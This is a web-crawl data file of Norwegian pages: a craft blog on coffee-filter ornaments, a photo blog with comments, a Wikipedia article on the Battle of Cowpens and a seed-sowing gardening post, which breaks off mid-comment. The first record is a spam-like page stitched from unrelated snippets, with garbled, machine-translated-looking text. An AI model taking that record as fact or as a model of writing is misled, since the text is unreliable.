{"url": "http://denverinquirer.com/236-z-slik-fr-du-kjresten.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:46:52Z", "text": "26\\. jun 2013 Jeg f\u00e5r se hva jeg gj\u00f8r, jeg skal pr\u00f8ve \u00e5 planlegge dagen min i morgen godt slik at jeg f\u00e5r gjort alt sammen\\! Jeg har v\u00e6rt kj\u00e6reste med Mathias i 8 m\u00e5neder i morgen foresten, s\u00e5 h\u00e5per virkelig vi f\u00e5r tid til \u00e5 gj\u00f8re noe til tross for eksamen\\! 6 dager igjen, s\u00e5 er vi i Barcelona. Jeg gleder meg s\u00e5 mye at jeg vil\u00a0 jakten p\u00e5 kj\u00e6rligheten grimstad kj\u00e6restegave blogg 30. jun 2015 Ingen har fortalt meg at jeg kan falle for en annen selv om jeg elsker kj\u00e6resten min, kan man f\u00e5 seg til \u00e5 tenke. Man skal alts\u00e5 gj\u00f8re seg \u00f8konomisk uavhengig (noe som er mindre selvf\u00f8lgelig i USA enn i Norge), slik Beyonc\u00e9 har oppfordret til siden Destinys Child (Independent Women), og klare seg\u00a0\nSlik r\u00f8rer du sammen mer Israel-hat og lar norske skattebetalere f\u00e5. Blant de beste s\u00f8kerne velger vi ut ti personer mellom 18 og 30 \u00e5r som f\u00e5r v\u00e6re med p\u00e5 en sterkt sponset oppl\u00e6ringstur til Israel. Les om turen og hvordan du kan bli med. Er du utenfor aldersgruppen, s\u00e5 tips venner, barn og barnebarn\\! Faksimile fra V\u00e5rt\u00a0\nMange av sangene hennes rangerer blant verdens mestselgende singler gjennom tidene, slik som \u00abUmbrella\u00bb, \u00abTake a Bow\u00bb, \u00abDisturbia\u00bb, \u00abOnly Girl (In the . Etter utgivelsen av albumet, la Rihanna ut p\u00e5 sin f\u00f8rste turne, Rihanna: Live in Concert Tour, hun var ogs\u00e5 sammen med Jay-Z og Ne-Yo p\u00e5 Rock Tha Block Tour.Med \u00e5 g\u00e5 for langt mener jeg voksne folk som ikke tar jobb for \u00e5 f\u00e5 trygd, men likevel jobber svart. Slik f\u00e5r disse dobbelt s\u00e5 mye penger som de egentlig skulle hatt, mens pengene isteden kunne godt til medvirkning til reduserte skatter. Dette er en av de konsekvensene jeg ser p\u00e5 som negativt for samfunnet. Jo flere\u00a0\n\nDet kan ta litt innsats for \u00e5 f\u00e5 kj\u00e6resten din til \u00e5 slutte \u00e5 v\u00e6re sjalu. En sjalu kj\u00e6reste er alltid i fare for \u00e5 miste kvinnen han hevder \u00e5 ta vare p\u00e5 de fleste. Kvinner verne f\u00f8lelsen av \u00e5 f\u00f8le omsorg og beskyttet av sin kamerat, men noen ganger f\u00f8lelsen av en hyggelig mann kan helle mot det undertrykkende. Kj\u00e6resten din er\u00a0\n\n\n\n\u00a0\n", "language": "no", "__index_level_0__": "a743a2e2-9693-47dd-a7e9-aedcbc1f2f08"}
{"url": "http://littkritikk.blogspot.com/2015/11/prosjekt-av-kaffefilter-del-1.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00058.warc.gz", "warc_date": "2018-03-24T23:45:46Z", "text": "## mandag 30. november 2015\n\n### Prosjekt av kaffefilter del 1, pompom/julekule?\n\n\n\n  \nN\u00e5 var ikke dette den f\u00f8rste tingen jeg lagde, men det blir den f\u00f8rste tingen jeg skriver om.\n\nJeg vet ikke hva jeg skal kalle det, en pompom? En kuleting? Pyntekule? Sn\u00f8ball??\n\nDen er ihvertfall veldig fin n\u00e5 i disse juletider.\n\nJeg har laget flere, den ene har jeg glitter p\u00e5, frostglitter, noe av det aller fineste jeg vet om, s\u00e5 jeg blir jo helt glad langt inn i margen av \u00e5 se p\u00e5 hvor fint det glimter og glitrer i den. Akkurat som en frostkule :)\n\nGlede.\n\n\n\n  \n\u00a0Uansett, det hvis du vil lage en slik, s\u00e5 er det veldig f\u00e5 ting du trenger:  \n  \n  \n\n  - isoporkule (Den jeg brukte var 65mm, men du kan bruke sp stor eller liten du vil)\n  - store kaffefilter (jeg brukte rundt om 100stk)\n  - limpistol (det g\u00e5r ikke s\u00e5 mye lim til dette)\n  - en blyant/penn\n  - en snor til \u00e5 feste med, hvis du vil ha den hengende, men den er fin \u00e5 ha liggende til pynt ogs\u00e5. Jeg har brukt fiskesene, men fint med en blondesnor ogs\u00e5.\n\n  \n  \n|                                                                                                         |\n| :-----------------------------------------------------------------------------------------------------: |\n|  |\n|                                        min gode venn limpistolen                                        |\n\n  \n\n\n\n\u00a0Det du gj\u00f8r er \u00e5 ta den flate enden p\u00e5 blyanten \u00e5 sette den i midten(det du tror er midten) p\u00e5 et kaffefilter og brett det rundt blyanten. Du ser fort om du ikke har truffet midten, da blir den skjev.  \nKan sikkert v\u00e6re fint det ogs\u00e5, men da b\u00f8r nok alle v\u00e6re skjeve.  \n  \n\n\n\n\u00a0N\u00e5 har du f\u00e5tt en liten flate til \u00e5 ha lim p\u00e5. Ta en liten dert med lim og trykk kaffefilteret med hjelp av blyanten p\u00e5 kulen.  \nDet er greit \u00e5 ha kulen i en liten sk\u00e5l n\u00e5r du limer p\u00e5 de f\u00f8rste, det gir grei st\u00f8tte s\u00e5 filterne ikke bare faller av med en gang, for de kan det ogs\u00e5 om limet er veldig varmt. Kan du stille p\u00e5 varmen p\u00e5 limpistolen er det greit \u00e5 ta den p\u00e5 low eller medium.  \n  \n\n\n\n\u00a0Du kan lage den s\u00e5 tett du vil, jeg har ca 1 cm mellom. Etterp\u00e5 ser jeg over kulen og ser om det er behov for \u00e5 sette p\u00e5 flere enkelte steder.  \nJeg brukte rundt om en halv time p\u00e5 denne kulen.  \n\n\n\n  \nS\u00e5 det var det. Det blir jo en greit st\u00f8rrelse p\u00e5 den til slutt.  \nSkikkelig koselig prosjekt, syns ihvertfall jeg.  \n  \n\n     \n| ----------- |  |\n| Reaksjoner: |  |\n\n           \n\nDet er veldig kjekt med kommentarer, men legger du inn en melding som er virkelig stygg, s\u00e5 vil den bli slettet.\n\nLene Hamre  \n\n## Intressante blogger\n\n", "language": "no", "__index_level_0__": "765b36b9-eb70-4ebf-92a9-53eefb2152db"}
{"url": "http://fyrileivfoto.blogspot.com/2013/03/varflrt.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:26:05Z", "text": "\n\n## s\u00f8ndag 10. mars 2013\n\n### V\u00c5RFL\u00d8RT\n\n  \n\n\n  \nVi i Norge er priviligerte som har disse \u00e5rstidene, opptil flere mellom\u00e5rstider, og gjerne litt fram og tilbake mellom disse.\u00a0\n\n  \nFor mange er det en ergelse n\u00e5r v\u00e5ren f\u00f8rst fl\u00f8rter og er s\u00e5 varm og god, s\u00e5 skal vinteren komme tilbake og lage kvalm.\n\n  \n\n\n  \n\u00a0Da er det ikke annet \u00e5 gj\u00f8re enn \u00e5 glede seg over vinteren,\u00a0\n\nfor s\u00e5 \u00e5 se fram til neste runde med v\u00e5ryre spenninger.\u00a0\n\nV\u00e5ren m\u00e5 alltid gj\u00f8re seg s\u00e5 kostbar\\!\n\n  \n\n\n  \nSom naturfotograf, er det beste med \u00e5rstider \u00e5 oppleve gleden ved at \"gamle\" motiv dukker opp som nye, uansett \u00e5rstid.\n\n  \nDisse bildene er tatt i dag.\u00a0\n\nDet siste er et gl\u00f8dende resultat av Rodenstock.\n\n Lagt inn av Ingebj\u00f8rg Fyrileiv Guldvik   kl. 21:04          \n\n \n#### 13 kommentarer:\n\n1.  \n    \n    H\u00e5kon Langmo10. mars 2013 kl. 21:16\n    \n    Alle gode ting er 3, og nr 3 er min absolutte favoritt her. Fantastisk herlige reflekser som er med p\u00e5 \u00e5 vise varmen fra v\u00e5rsola :)\n    \n2.  \n    \n    anetteed10. mars 2013 kl. 22:41\n    \n    Wow, du har virkelig et godt \u00f8ye\\! Likte spesielt det siste, s\u00e5 mange flotte farger som gir en god v\u00e5rf\u00f8lelse.\n    \n3.  \n    \n    Bente Klevenberg10. mars 2013 kl. 23:01\n    \n    Spennende bilder. Jeg likte s\u00e6rlig gl\u00f8den og varmen i det siste.\n    \n4.  \n    \n    Vidar Gran10. mars 2013 kl. 23:05\n    \n    Med nr tre kom v\u00e5rstemningen\\! Hva du tryller frem med det objektivet.\n    \n5.  \n    \n    Torbj\u00f8rn Martinsen11. mars 2013 kl. 07:41\n    \n    Stilige bilder og det ble bare bedre og bedre. Siste bildet synes jeg var veldig spennende :)\n    \n6.  \n    \n    Geir Ole11. mars 2013 kl. 10:04\n    \n    Likar godt n\u00e5r du fl\u00f8rtar og oppfordrar deg sterkt til \u00e5 fortsette :)\n    \n    \n    Ingebj\u00f8rg Fyrileiv Guldvik11. mars 2013 kl. 10:45\n    \n    Takk for kommentarer alle\\! Det gleder meg \u00e5 lese :) Liker at dere liker triologiens dramaturgi.\n    \n8.  \n    \n    Dirk Rosin11. mars 2013 kl. 13:14\n    \n    nummer to og tre er supert \\!  \n    hilsen dirk\n    \n9.  \n    \n    Thorfinn Bekkelund11. mars 2013 kl. 18:25\n    \n    bra alle tre, men nr 3 treffer meg mest med sin ildaktige utforming.\n    \n10. \n    \n    Anonym11. mars 2013 kl. 19:25\n    \n    Imponert over det du \"tryller\" frem Ingebj\u00f8rg.Flotte bilder som passer i STOOOORT format vil jeg tro. For \u00e5 si det enkelt, vi sliter ikke med at v\u00e5ren k\u00f8dder med oss enn\u00e5\\! Ca 20cm nysn\u00f8 i dag men du verden s\u00e5 fint det er. V\u00e5ren kommer og Tjelden har det ok i fj\u00e6ra. Tryll frem flere.Ole M\n    \n11. \n    \n    Torbj\u00f8rn Wingsternes11. mars 2013 kl. 19:50\n    \n    Flott innlegg, b\u00e5de i tekst og bilder. Aller best likte jeg det siste. Lekkert\\!\n    \n12. \n    \n    Ingebj\u00f8rg Fyrileiv Guldvik12. mars 2013 kl. 21:29\n    \n    Stort takk til Dirk, Thorfinn, Ole Martin og Torbj\u00f8rn\\! Trivelig.  \n      \n    Tror jeg kanskje m\u00e5 hjem og hilse p\u00e5 tjelden i p\u00e5ska, Ole Martin... Her er det for tida halvfull vinter med eim av v\u00e5r. -Og det sl\u00e5r ikke \u00e5rets f\u00f8rste tjeldem\u00f8te, uansett rodenglow i spora.\n    \n13. \n    \n    Kristin.S14. mars 2013 kl. 08:23\n    \n    Ja det er spennende med disse mellom\u00e5rstidene:) deilige v\u00e5rbilder, det siste ga meg virkelig v\u00e5rstemning, friskt og lekkert:)\n    \nJeg tar imot kommentarer p\u00e5 b\u00e5de tekst og bilder med stor takknemlighet.\n\n## Om meg:\n\n", "language": "no", "__index_level_0__": "821ca7b1-3c68-464c-bad2-e6dc7080efd7"}
{"url": "https://no.wikipedia.org/wiki/Slaget_ved_Cowpens", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:49:18Z", "text": "**Slaget ved Cowpens** 17. januar 1781 var en overveldende seier til oppr\u00f8rerne under brigadegeneral Daniel Morgan over de regul\u00e6re britiske styrkene i den amerikanske uavhengighetskrigen. Slaget kalles ofte \u00abdet amerikanske Cannae\u00bb.\n\nSlaget ved Cowpens var en av mange trefninger mellom oppr\u00f8rerne og regul\u00e6re britiske styrker p\u00e5 s\u00f8rfronten under den amerikanske uavhengighetskrigen. Kommandantene var brigadegeneralen Daniel Morgan, leder av rundt 700 militsmenn, inkludert Over Mountain Men og kavaleri, og 300 kontinentale soldater og engelskmannen oberst Banastre Tarleton som ledet en styrke p\u00e5 1100 dragoner, regul\u00e6re soldater, lojalister og highlanders.\n\nCharles Cornwallis hadde gitt Tarleton oppdraget med \u00e5 \u00f8delegge Morgans styrke. Tarleton hadde v\u00e6rt suksessrik i tidligere slag som Camden og Waxhaw. Tarletons tidligere seire var blitt vunnet gjennom dristige angrep, ofte med undertallige styrker. Den amerikanske kommandanten Nathanael Greene hadde valgt \u00e5 dele opp sin arm\u00e9 og sendt Morgan avg\u00e5rde fra patriotenes hovedstyrke. Morgan oppfordret amerikanere til \u00e5 samle seg ved et beiteomr\u00e5de (*cow pens*) som var et kjent landemerke. Tarleton angrep med sin sedvanlige dristighet, men uten tanke for det faktum at Morgan hadde hatt mye mer tid til \u00e5 forberede seg, og ble etter hvert fanget i en dobbel omringing. Bare Tarleton og rundt 260 briter unnslapp, mens amerikanernes tapstall var p\u00e5 moderate 12 d\u00f8de og 61 s\u00e5rede.\n\n## Slaget\\[rediger\u00a0| rediger kilde\\]\n\n### Forberedelse f\u00f8r slaget\\[rediger\u00a0| rediger kilde\\]\n\nDaniel Morgan visste at han burde bruke det unike landskapet ved Cowpens og tiden han hadde til r\u00e5dighet f\u00f8r Tarleton ankom til sin fordel. Videre visste han at hans menn og hans motstander visste hvordan de ville reagere i visse situasjoner. Han brukte denne kunnskapen til sin fordel. Til \u00e5 begynne med var lokaliseringen av hans styrker i strid med de eksisterende milit\u00e6re doktrinene, for han plasserte sin h\u00e6r mellom elvene Broad og Pacolet, noe som umuliggjorde flukt dersom h\u00e6ren ble omringet. Hans grunner for \u00e5 avskj\u00e6re fluktmuligheter var \u00e5penbar, for \u00e5 sikre at de utrente militsmennene ikke skulle flykte. De hadde for vane \u00e5 snu ved f\u00f8rste antydning til kamp og etterlate de regul\u00e6re soldatene. Han valgte en h\u00f8yde som sentrum for sin stilling og plasserte det kontinentale infanteriet p\u00e5 den. Dermed l\u00e5 flankene med vilje utsatt til mot hans motstander. Morgan antok at Tarleton ville angripe ham ansikt til ansikt og gjorde sine forberedelser deretter. Han satte opp tre linjer med soldater, en med skarpskyttere, en av militsmenn og en hovedlinje. De 150 utvalgte skarpskytterne var fra Nord-Carolina (major McDowell) og Georgia (major Cunningham). Bak disse mennene sto 300 militsmenn under ledelse av Andrew Pickens.\n\nMorgan inns\u00e5 at han ikke kunne stole p\u00e5 d\u00e5rlig trent milits i slag, s\u00e6rlig n\u00e5r de var under angrep fra kavaleri. Han bestemte seg derfor \u00e5 be militsen skyte to skudd og s\u00e5 trekke seg tilbake, slik at han kunne regruppere dem bak reservene (kavaleri ledet av William Washington og James McCall) som var plassert bak den tredje linjen som bestod av mer erfaren milits og regul\u00e6re soldater. Bevegelsen til militsen i den andre linjen ville avdekke den tredje linjen for britene. Den tredje linjen bestod av resten av styrkene (rundt 550 menn) og var satt sammen av soldater fra Delaware og Maryland og militsmenn fra Georgia og Virginia. Oberst John Eager Howard ledet soldatene og oberstene Tate og Triplett ledet militsen. M\u00e5let for denne strategien var \u00e5 svekke og f\u00e5 Tarletons styrker uorganisert (som ville angripe den tredje linjen p\u00e5 h\u00f8yden), f\u00f8r de angrep og beseiret dem. Howards menn ville ikke bli bekymret over militsens forventede bevegelse og i motsetning til militsen ville de kunne holde stand, s\u00e6rlig siden de f\u00f8rste og andre linjene ville ha p\u00e5f\u00f8rt de fremrykkende britene fysisk og psykisk belastning f\u00f8r den tredje linjen kom med i kampene.\n\nVed \u00e5 plassere sine menn i nedoverbakken fra de fremrykkende britiske linjene, utnyttet Morgan britenes tendens til \u00e5 skyte for h\u00f8yt i kamp. Stillingen nede i bakken s\u00f8rget ogs\u00e5 for at de britiske styrkene ville bli st\u00e5ende som silhuetter mot morgenlyset og bli enkle m\u00e5l for patriotenes styrker. Med en ravine p\u00e5 deres h\u00f8yre flanke og en elv p\u00e5 deres venstre flanke var Morgans styrker beskyttet mot britenes flankeman\u00f8vrer i begynnelsen av slaget. Morgan insisterte p\u00e5 at \u00abhele id\u00e9en er \u00e5 lede Benny (Tarleton) inn i en felle slik at vi kan sl\u00e5 hans kavaleri og infanteri idet de kommer opp h\u00f8yden. N\u00e5r de har blitt sk\u00e5ret ned av v\u00e5r ild, angriper vi dem.\u00bb Historikeren John Buchanan skrev om hans utvikling av taktikken ved Cowpens at Morgan kan ha v\u00e6rt \u00abden eneste generalen i den amerikanske revolusjon, p\u00e5 begge sider, som produserte en betydelig original taktisk tankegang.\u00bb\n\n\n\nSlaget ved Cowpens 17. januar 1781.\n\nTarleton satte mot i sine styrker og fortsatte sin fremmarsj mot beitemarken 05.00 17. januar 1781. Hans lojalistspeidere fortalte ham om omr\u00e5det Morgan ventet p\u00e5 ham, og han var sikker p\u00e5 seier p\u00e5 grunn av at Morgans soldater, hovedsakelig militsmenn, virket \u00e5 v\u00e6re fastklemt mellom erfarne britiske styrker og en elv med h\u00f8y vannf\u00f8ring. S\u00e5 snart han n\u00e5dde stedet, dannet han en slaglinje som bestod av dragoner p\u00e5 flankene, med sine to gresshoppe\u2013kanoner mellom de regul\u00e6re britiske soldatene og de amerikanske lojalistene. Hans reserve bestod av kavaleri og highlandere. Han var sikker p\u00e5 en lett seier og sendte sine trette menn ut i slaget. Tarletons plan var enkel og direkte. De fleste i hans infanterister skulle samles i en line\u00e6r formasjon og bevege seg direkte mot Morgan. Flankene ville beskyttes av dragonenheter. Highlanderne ville bli brukt dersom det var behov for det, for \u00e5 gi et \u00abCoup de gr\u00e2ce\u00bb. Tarleton hadde sitt 250 manns sterke kavaleri klart dersom amerikanerne br\u00f8t opp fra slaget og flyktet.\n\nMorgans strategi virket perfekt. Etter \u00e5 ha drept femten dragoner, trakk skarpskytterne seg tilbake. Britene trakk seg midlertidig tilbake, men angrep igjen og n\u00e5dde denne gangen militsmennene som i full orden t\u00f8mte to salver inn i de britiske linjene. Britene var forvirret og lamsl\u00e5tt og 40% av de drepte og s\u00e5rede var offiserer. Britene omgrupperte og fortsatte \u00e5 rykke frem. Pickens' milits br\u00f8t opp og flyktet tilsynelatende bakover hvor de omgrupperte seg. Tarleton svarte med \u00e5 beordre en av sine offiserer, Ogilvie, til \u00e5 angripe med noen dragoner inn i de \u00abbeseirede\u00bb amerikanerne. Hans menn rykket frem i vanlige formasjoner, ble midlertidig stoppet av skuddsalver fra militsen, men fortsatte \u00e5 rykke fremover da de luktet seier. Britene drev inn i etterf\u00f8lgende linjer, trodde de var i ferd med \u00e5 seire, men fant bare en annen og sterkere linje som utmattet dem og f\u00f8rte til nye drepte og s\u00e5rede. Dybden i de amerikanske linjene dempet gradvis sjokket av den britiske fremrykningen. Britene tolket tilbaktrekningen av de to f\u00f8rste linjene som en full retrett og rykket fremover i full fart inn mot den ventende siste linjen av disiplinerte soldatene som holdt stand p\u00e5 h\u00f8yden.\n\nTil tross for dette antok Tarleton at han fremdeles kunne vinne med bare en siste amerikansk linje foran seg og han sendte derfor sitt infanteri frem i et fullt frontalangrep. I tillegg til dette, fikk highlanderne ordre om \u00e5 ta amerikanerne p\u00e5 flankene. Under ledelse av Howard trakk amerikanerne seg tilbake. Bed\u00f8vet av seier l\u00f8p n\u00e5 britene uorganisert etter dem. Howard snudde seg og skj\u00f8t sv\u00e6rt \u00f8deleggende salver inn i sin fiende f\u00f8r han angrep. Tripletts soldater angrep og skadet britene alvorlig, og kavaleriet til Washington og McCall gikk til angrep. Fullstendig omringet flyktet dragonene bakover. Etter \u00e5 ha uskadeliggjort Ogilvies styrker, angrep Washington s\u00e5 britene. Da den britiske fremrykningen til slutt ble stanset av de kontinentale soldatene, traff det amerikanske kavaleriet dem bak og p\u00e5 h\u00f8yre flanke, mens militsen som hadde omgruppert, angrep ut fra baksiden av h\u00f8yden og traff britene p\u00e5 deres venstre flanke.\n\nSjokket av det plutselige angrepet, kombinert med at de amerikanske militsmennene dukket opp igjen p\u00e5 flankene hvor Tarletons utmattede menn forventet \u00e5 se eget kavaleri, ble for mye for britene. Britene satt fast i en dobbel omringing og overgav seg etter \u00e5 ha blitt p\u00e5f\u00f8rt store tap. Tarletons h\u00f8yre flanke og sentrale linje hadde kollapset, og det var bare highlanderne som fremdeles kjempet som del av Howards linje. Tarleton inns\u00e5 den alvorlige situasjonen han var i og red tilbake til sin gjenv\u00e6rende enhet, kjernen i sitt kavaleri. Desperat etter \u00e5 redde noe samlet han en gruppe kavaleri og fors\u00f8kte \u00e5 redde de to kanonene han hadde hatt med seg, men de ble tatt. Dermed bestemte Tarleton seg for \u00e5 redde seg selv. Tarleton red sammen med noen f\u00e5 gjenv\u00e6rende ryttere inn i kampene, men etter \u00e5 ha st\u00f8tt sammen med Washingtons menn, trakk ogs\u00e5 han seg tilbake fra slagmarken. Han ble midlertidig stoppet av oberst Washington hvis hest Tarleton skj\u00f8t under ham og dermed slapp han unna.\n\n## Etterspill\\[rediger\u00a0| rediger kilde\\]\n\nCowpens kom kort tid etter det amerikanske spetaklet i Camden og var en overraskende seier og et vendepunkt som forandret psykologien i hele krigen, \u00abgav folkets mot et l\u00f8ft\u00bb, ikke bare de i baklandet i Carolina\u2013statene, men i alle de s\u00f8rlige koloniene. Amerikanerne ble oppmuntret til \u00e5 kjempe videre og lojalistene og britene ble demoraliserte. Videre var det strategiske resultatet, \u00f8deleggelsen av en viktig del av den britiske arm\u00e9en i s\u00f8r, uvurderlig mot slutten av krigen.\n\nSammen med det britiske nederlaget i slaget ved Kings Mountain, var Cowpens et avgj\u00f8rende slag mot Cornwallis som ville ha beseiret mye av den gjenv\u00e6rende amerikanske motstanden hadde Tarleton vunnet Cowpens. Resultatet var at slaget satte i gang en kjedereaksjon som f\u00f8rte til britenes pyrrhosseier i Guilford Court House og til slutt patriotenes seier i Yorktown. John Marshall mente at \u00absjelden har et slag, som ikke hadde st\u00f8rre antall involvert, v\u00e6rt s\u00e5 viktig i sine konsekvenser som ved Cowpens\u00bb. Det gav general Nathanael Greene sjanse til \u00e5 f\u00f8re et felttog av \u00abdyktig endring\u00bb som f\u00f8rte Cornwallis gjennom \u00aben ubrutt kjede av konsekvenser til katastrofen ved Yorktown som endelig separerte Amerika fra den britiske trone.\u00bb Dersom slaget ved Cowpens hadde f\u00e5tt et annet resultat, ville antagelig Cornwallis ikke ha startet Yorktown\u2013felttoget, og krigen kunne f\u00e5tt et annet utfall.\n\n## Likheter med Cannae\\[rediger\u00a0| rediger kilde\\]\n\nIf\u00f8lge milit\u00e6rhistorikere var seieren ved Cowpens s\u00e5 total p\u00e5 grunn av Daniel Morgans dyktige milit\u00e6re taktikk og modige lederskap. Han hadde, hevder de, en forst\u00e5else for psyken til soldatene og et fast grep p\u00e5 taktiske prinsipper. Morgan brukte en unik utplassering av styrkene sine og planla et taktisk mesterverk som utnyttet alle hans enheters styrker i tillegg til at han brukte noen av deres svakheter (som i tilfellet med militsen) til sin fordel. Morgans taktiske planlegging, i tillegg til hans klare forst\u00e5else av evnene til militsen og de regul\u00e6re soldatene, var de avgj\u00f8rende faktorene som sikret ham en klar seier. Resultatet er at Morgans seier i slaget ved Cowpens ofte sammenlignes av historikere med den klassiske knipetangsman\u00f8veren rundt romerne utf\u00f8rt av den karthagenske h\u00e6ren under Hannibal i slaget ved Cannae i 216 f.Kr. Geoffrey Perret, for eksempel, henviser til Cowpens som en \u00abfeilfri diamant\u00bb. Russel F. Weigley holder Morgans seier som bedrift p\u00e5 slagmarken \u00abuten sidestykke og kanskje uten sidestykke til noen annen offiser i den amerikanske sak.\u00bb T. Harry Williams har vurdert det som et \u00abmindre mesterverk.\u00bb \u00abCowpens,\u00bb skriver Robert Leckie, \u00abvar det amerikanske Cannae.\u00bb Leckie hevder s\u00e5 videre at \u00abdet var den glitrende lille diamanten til revolusjonen, og den ble gjennomf\u00f8rt av en amerikansk baklandsmann som i likhet med den store Hannibal selv, kun brukte mennene og terrenget.\u00bb\n\nVidere sier Ernest og Trevor N. Dupuy at dette slaget \u00abvar antagelig den n\u00e6rmeste tiln\u00e6rmingen til taktisk perfeksjon som noen gang har blitt sett p\u00e5 det amerikanske kontinent, en fullstendig knipetangsman\u00f8ver, dr\u00f8mmen til enhver profesjonell soldat.\u00bb Dupuy fortsatte \u00e5 sammenligne Cowpens og Cannae: \u00abI senere \u00e5r har milit\u00e6ranalytikere bemerket den sl\u00e5ende likheten til Morgans utplassering med Hannibals i et av de mest kjente slagene i antikkens historie: Hans seier over romerne i Cannae i 216 f.Kr. Om Morgan kjente til denne historiske forgjengeren eller ikke, er ikke viktig. Hans egen soldaterfaring var rik nok, og hans medf\u00f8dte milit\u00e6rbegavelse godt utviklet for at han skulle komme p\u00e5 den samme id\u00e9en som den store karthageneren da han stod i et sammenlingbart dilemma. Som Hannibal hadde Morgan en heterogen, stort sett up\u00e5litelig styrke som han m\u00e5tte kjempe med mot de beste regul\u00e6re soldatene i verden p\u00e5 hans tid.\u00bb\n\n  - Wood, W.J.: Battles of the Revolutionary War, Algonquin Books of Chapter Hill, 1990.\n  - Babbits, Lawrence E.: A Devil of a Whipping, University of North Carolina Press, 1998.\n\n", "language": "no", "__index_level_0__": "9b2d2851-889a-41d2-adf7-b2d504c98091"}
{"url": "http://hageflekken.blogspot.com/2010/08/til-for-sa.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00466.warc.gz", "warc_date": "2018-03-24T23:43:10Z", "text": "om \u00f8kologisk hageglede\n\n## mandag 2. august 2010\n\n### Tid for \u00e5 s\u00e5\\!\n\nSensommeren og h\u00f8sten er den beste tiden for \u00e5 s\u00e5\\!  \n  \nN\u00e5r man leser hageb\u00f8ker kan man nesten bli skremt av hvor komplisert det virker \u00e5 f\u00e5 frem planter fra fr\u00f8: Pottene skal f\u00f8rst st\u00e5 noen uker i temperatur godt over 20 grader, med det samme de spirer skal de settes p\u00e5 et kj\u00f8ligere sted og ha masse lys, etter noen uker skal de prikles og plantes i st\u00f8rre potter..... Alt dette er riktig og bra n\u00e5r vi skal dyrke sommerblomster (ett\u00e5rige) eller gr\u00f8nnsaker - men n\u00e5r det gjelder fler\u00e5rige hageplanter, stauder, kan prosessen gj\u00f8res mye enklere\\!  \n  \nJeg h\u00f8ster fr\u00f8 n\u00e5r jeg ser at det er like f\u00f8r planten \"slipper\" fr\u00f8ene. Da er de modne. I dag har jeg h\u00f8stet fr\u00f8\u00a0 fra riddersporer, valmues\u00f8ster, de tidligste storkenebbene, jakobs himmelstige (fjellflokk), alunrot, l\u00f8ytnantshjerte, l\u00f8pstikke, akeleier og lupiner - og noen jeg ikke vet navnet p\u00e5. Sagt p\u00e5 en annen m\u00e5te: Stauder som blomstrer tidlig setter fr\u00f8 omtrent p\u00e5 denne tiden. Neste innsamling blir antakelig i begynnelsen av september: Da har stauder som blomstrer n\u00e5 rukket \u00e5 sette fr\u00f8.  \n  \nFr\u00f8ene kan s\u00e5s umiddelbart. Det er ofte nyttig \u00e5 tenke p\u00e5 hvordan plantene \"oppf\u00f8rer seg\" i naturen: Fr\u00f8ene modnes og slippes ned p\u00e5 bakken, der ligger de gjennom vinteren og er utsatt for store temperatursvingninger - de \"heldigste\" av dem blir dratt ned i jorden av meitemark eller blir dekket med l\u00f8v, og spirer neste v\u00e5r.  \nMesteparten av fr\u00f8ene blir spist av fugler eller tatt av vinden eller t\u00f8rker og d\u00f8r.  \n  \nN\u00e5r vi h\u00f8ster fr\u00f8ene og putter dem i potter gir vi \"spiremuligheter\" til langt flere. Faktisk er det s\u00e5nn at spireprosenten for fr\u00f8 jeg h\u00f8ster selv er s\u00e5 h\u00f8y at jeg av og til f\u00e5r langt flere planter enn jeg kan bruke. Snakk om luksusproblem\\!  \n  \n\nFr\u00f8 fra akeleie, valmues\u00f8ster og storkenebb\n\n  \n\n\n  \n  \nFremgangsm\u00e5te:  \nS\u00e5 fr\u00f8ene i potter, str\u00f8 gjerne litt sand eller fin grus over (men det er ikke n\u00f8dvendig\\!), og sett pottene ute p\u00e5 en m\u00e5te som sikrer at de ikke velter i l\u00f8pet av h\u00f8sten. Det enkleste er \u00e5 bruke en ramme - se nedenfor. Legg aviser og markduk under, for \u00e5 hindre at ugress vokser opp og kveler sm\u00e5plantene til v\u00e5ren; sett pottene tett-i-tett inni rammen, og trekk fiberduk over det hele for \u00e5 hindre at fr\u00f8ugress sl\u00e5r seg ned i pottene i l\u00f8pet av h\u00f8sten. Fiberduken kan festes med tau eller stifter. Jeg pleier \u00e5 rulle endene p\u00e5 duken rundt en bambuspinne,og stifte duken fast til pinnen. S\u00e5 skrur jeg messingkroker inn i rammen, 2 kroker p\u00e5 hver side, og smetter bambuspinnene inn i krokene. Da er det enkelt \u00e5 lette p\u00e5 fiberduken for \u00e5 sjekke plantene, og samtidig er duken s\u00e5 godt festet at den ikke synker ned p\u00e5 midten p\u00e5 grunn av regn eller sn\u00f8.  \n  \nEn s\u00e5nn ramme kan lages av nesten alt. Selvf\u00f8lgelig kan man snekre en selv, og \"skreddersy\" dimensjonene til den plassen man har. Her hos oss har ungenes sengerammer blitt forfremmet til drivbenker etterhvert som de s\u00f8te sm\u00e5 har flyttet hjemmenfra. Andre muligheter er fiskekasser, sammenleggbare plastkasser (Biltema), paller som legges opp-ned, gamle bokhyller (\"Billy\" fra Ikea har f\u00e5tt nytt liv som drivbenk, og fungerer helt flott\\!)  \n  \nDet viktigste er at dreneringen er god, s\u00e5nn at pottene ikke blir st\u00e5ende i vann, og at pottene st\u00e5r st\u00f8tt.  \n  \nI tillegg til \u00e5 h\u00f8ste fr\u00f8 fra egen hage og stjele fr\u00f8 fra naboens hage (nattlige turer med bikkja....), kan man jo bestille staudefr\u00f8 av hjertens lyst.\u00a0 Her er noen fr\u00f8leverand\u00f8rer som jeg selv har god erfaring med:\u00a0  \nwww.chilternseeds.co.uk, www.plantsofdistinction.co.uk; www.impecta.se, www.zimtrade.no; www.hageglede.no. Det finnes noen tusen andre.......\n\n Lagt inn av  \n\nnina  kl. \n\n02:50              \n\n#### 7 kommentarer:\n\n\n\n\n\nanne - moseplassen sa...\n\nGodt sagt\\!  \nMange gj\u00f8r 